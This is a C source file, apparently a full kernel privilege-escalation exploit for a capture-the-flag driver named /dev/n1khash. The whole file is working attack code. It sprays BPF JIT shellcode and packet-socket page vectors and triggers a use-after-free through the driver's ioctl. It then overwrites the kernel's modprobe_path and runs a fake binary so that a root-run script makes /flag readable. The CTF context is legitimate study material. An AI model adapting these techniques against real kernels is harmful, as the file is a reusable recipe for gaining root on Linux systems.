1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288
| #define _GNU_SOURCE #include <err.h> #include <fcntl.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/ioctl.h> #include <sys/mman.h> #include <sys/types.h> #include <unistd.h>
#define SYSCHK(x) \ ({ \ typeof(x) __res = (x); \ if (__res == (typeof(x))-1) \ err(1, "SYSCHK(" #x ")"); \ __res; \ })
#define SUCCESS_MSG(msg) "\033[32m\033[1m[+] " msg "\033[0m" #define INFO_MSG(msg) "\033[34m\033[1m[*] " msg "\033[0m" #define ERROR_MSG(msg) "\033[31m\033[1m[x] " msg "\033[0m"
#define log_success(msg) puts(SUCCESS_MSG(msg)) #define log_info(msg) puts(INFO_MSG(msg)) #define log_error(msg) puts(ERROR_MSG(msg))
#include <linux/bpf_common.h> #include <linux/filter.h> #include <linux/seccomp.h> #include <sys/socket.h>
struct sock_filter filter[0x1000]; char buf[0x1000]; int bpf_jit_spray(void) {
char *shellcode = (void *)mmap((void *)0xa00000, 0x2000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_FIXED | MAP_ANON, -1, 0); strcpy(shellcode, "/tmp/getshell");
int stopfd[2]; SYSCHK(socketpair(AF_UNIX, SOCK_STREAM, 0, stopfd));
unsigned int prog_len = 0x900; struct sock_filter table[] = { {.code = BPF_LD + BPF_K, .k = 0xb3909090}, {.code = BPF_RET + BPF_K, .k = SECCOMP_RET_ALLOW}};
for (int i = 0; i < prog_len; i++) { filter[i] = table[0]; }
filter[prog_len - 1] = table[1]; int idx = prog_len - 2;
#include "sc.h"
struct sock_fprog prog = { .len = prog_len, .filter = filter, };
int fd[2]; int fork_limit = 0x30; for (int k = 0; k < fork_limit; k++) { if (fork() == 0) { close(stopfd[1]); for (int i = 0; i < 0x20; i++) { SYSCHK(socketpair(AF_UNIX, SOCK_DGRAM, 0, fd)); SYSCHK(setsockopt(fd[0], SOL_SOCKET, SO_ATTACH_FILTER, &prog, sizeof(prog))); } write(stopfd[0], buf, 1); read(stopfd[0], buf, 1); exit(0); } } read(stopfd[1], buf, fork_limit); }
int check_modprobe() { char buf[0x100] = {}; int modprobe = open("/proc/sys/kernel/modprobe", O_RDONLY); read(modprobe, buf, sizeof(buf)); printf("modprobe: %20s\n", buf); close(modprobe); char *old = "/sbin/modprobe"; return strncmp(buf, old, strlen(old)) != 0; }
#include <arpa/inet.h> #include <net/ethernet.h> #include <net/if.h> #include <netpacket/packet.h> #include <sched.h> #include <sys/socket.h>
#ifndef TPACKET_V3 #define TPACKET_V3 2 #endif int cmd_pipe_req[2], cmd_pipe_reply[2]; #define SPRAY_PG_VEC_NUM 20 #define PAGE_NUM (256 / 8) int pgfd[SPRAY_PG_VEC_NUM] = {}; void *pgaddr[SPRAY_PG_VEC_NUM] = {};
void unshare_setup(void) { char edit[0x100]; int tmp_fd;
unshare(CLONE_NEWNS | CLONE_NEWUSER | CLONE_NEWNET);
tmp_fd = open("/proc/self/setgroups", O_WRONLY); write(tmp_fd, "deny", strlen("deny")); close(tmp_fd);
tmp_fd = open("/proc/self/uid_map", O_WRONLY); snprintf(edit, sizeof(edit), "0 %d 1", getuid()); write(tmp_fd, edit, strlen(edit)); close(tmp_fd);
tmp_fd = open("/proc/self/gid_map", O_WRONLY); snprintf(edit, sizeof(edit), "0 %d 1", getgid()); write(tmp_fd, edit, strlen(edit)); close(tmp_fd); }
struct tpacket_req3 { unsigned int tp_block_size; unsigned int tp_block_nr; unsigned int tp_frame_size; unsigned int tp_frame_nr; unsigned int tp_retire_blk_tov; unsigned int tp_sizeof_priv; unsigned int tp_feature_req_word; };
void packet_socket_rx_ring_init(int s, unsigned int block_size, unsigned int frame_size, unsigned int block_nr, unsigned int sizeof_priv, unsigned int timeout) { int v = TPACKET_V3; SYSCHK(setsockopt(s, SOL_PACKET, PACKET_VERSION, &v, sizeof(v)));
struct tpacket_req3 req; memset(&req, 0, sizeof(req)); req.tp_block_size = block_size; req.tp_frame_size = frame_size; req.tp_block_nr = block_nr; req.tp_frame_nr = (block_size * block_nr) / frame_size; req.tp_retire_blk_tov = timeout; req.tp_sizeof_priv = sizeof_priv; req.tp_feature_req_word = 0;
SYSCHK(setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req))); }
int packet_socket_setup(unsigned int block_size, unsigned int frame_size, unsigned int block_nr, unsigned int sizeof_priv, int timeout) { int s = SYSCHK(socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL))); packet_socket_rx_ring_init(s, block_size, frame_size, block_nr, sizeof_priv, timeout); struct sockaddr_ll sa; memset(&sa, 0, sizeof(sa)); sa.sll_family = PF_PACKET; sa.sll_protocol = htons(ETH_P_ALL); sa.sll_ifindex = if_nametoindex("lo"); SYSCHK(bind(s, (struct sockaddr *)&sa, sizeof(sa))); return s; }
char void_buf[1] = {0}; void spray_pgv_thread() { unshare_setup(); read(cmd_pipe_req[0], void_buf, 1); for (int i = 0; i < SPRAY_PG_VEC_NUM; i++) { pgfd[i] = packet_socket_setup(0x1000, 2048, PAGE_NUM, 0, 10000); }
for (int i = 0; i < SPRAY_PG_VEC_NUM; i++) { if (!pgfd[i]) continue; pgaddr[i] = mmap(NULL, PAGE_NUM * 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, pgfd[i], 0); for (int j = 0; j < PAGE_NUM; j++) { unsigned long *pgv_buff = pgaddr[i] + j * 0x1000; pgv_buff[0] = 0xffffffffc1000000 - 0x800; } } write(cmd_pipe_reply[1], void_buf, 1);
sleep(999); exit(0); }
#define DEV_PATH "/dev/n1khash"
#define VULN_CMD 0x4010B110
int dev_fd = 0;
struct kh_queue_req { uint64_t digest_ptr; uint32_t count; uint32_t delay_time; };
void vuln(uint64_t digest_ptr, uint32_t count, uint32_t delay_time) { struct kh_queue_req req = { .digest_ptr = digest_ptr, .count = count, .delay_time = delay_time}; SYSCHK(ioctl(dev_fd, VULN_CMD, &req)); }
#define ROOT_SCRIPT_PATH "/tmp/getshell" char root_cmd[] = "#!/bin/sh\nchmod 777 /flag"; char flag[0x30];
int main() { pipe(cmd_pipe_reply); pipe(cmd_pipe_req);
log_info("spraying bpf jit shellcode..."); bpf_jit_spray(); log_info("spraying pgv[32] struct..."); if (fork() == 0) spray_pgv_thread();
dev_fd = open(DEV_PATH, O_RDWR); if (dev_fd > 0) log_info("open /dev/khash success!");
vuln(0, 0x10, 0x1000); close(dev_fd);
log_info("reclaiming obj with pgv..."); write(cmd_pipe_req[1], void_buf, 1); read(cmd_pipe_reply[0], void_buf, 1); log_info("reclaim obj done!");
while (1) { if (check_modprobe()) { break; sleep(1); } }
log_success("successfully modified modprobe_path!");
int root_script_fd, flag_fd; root_script_fd = open(ROOT_SCRIPT_PATH, O_RDWR | O_CREAT); write(root_script_fd, root_cmd, sizeof(root_cmd)); close(root_script_fd); system("chmod +x " ROOT_SCRIPT_PATH); puts("[*] trigerring fake modprobe_path...");
system("echo -e '\\xff\\xff\\xff\\xff' > /tmp/fake"); system("chmod +x /tmp/fake"); system("/tmp/fake"); memset(flag, 0, sizeof(flag));
flag_fd = open("/flag", O_RDWR); if (flag_fd < 0) { log_error("open /flag failed!"); perror("Error: "); return -1; }
read(flag_fd, flag, sizeof(flag)); printf("\033[32m\033[1m[+] Got flag: \033[0m%s\n", flag); }
|